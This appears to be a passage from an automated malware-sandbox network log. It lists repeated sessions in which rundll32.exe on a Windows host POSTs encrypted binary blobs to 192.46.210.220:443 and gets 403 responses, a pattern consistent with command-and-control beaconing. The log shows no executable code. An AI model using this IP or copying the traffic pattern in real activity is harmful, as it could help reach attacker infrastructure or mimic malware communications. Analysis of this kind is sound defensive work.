2021-10-28 02:46:31 UTC	218	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:32 UTC	223	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:32 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.5	49974	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:35 UTC	223	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:35 UTC	223	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:36 UTC	233	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:36 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.5	49975	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:35 UTC	228	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:35 UTC	228	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:36 UTC	233	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:36 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.5	49982	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:39 UTC	233	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:39 UTC	233	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:40 UTC	243	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:40 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.5	49983	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:39 UTC	238	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:39 UTC	238	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:40 UTC	243	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:40 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.5	49990	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:44 UTC	243	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:44 UTC	243	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:44 UTC	253	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:44 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49776	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:45:15 UTC	24	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:45:15 UTC	24	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:45:16 UTC	34	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:45:16 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.5	49991	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:44 UTC	248	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:44 UTC	248	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:44 UTC	253	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:44 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.5	49998	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:47 UTC	253	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:47 UTC	253	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:48 UTC	263	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:48 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.5	49999	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:48 UTC	258	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:48 UTC	258	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:48 UTC	263	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:48 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.5	50006	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:51 UTC	263	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:51 UTC	263	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:52 UTC	273	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:52 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.5	50007	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:52 UTC	268	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:52 UTC	268	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:52 UTC	273	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:52 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.5	50014	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:55 UTC	273	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:55 UTC	273	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:56 UTC	283	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:56 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.5	50015	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:56 UTC	278	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:46:56 UTC	278	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:46:56 UTC	283	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:46:56 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.5	50022	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:46:59 UTC	283	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
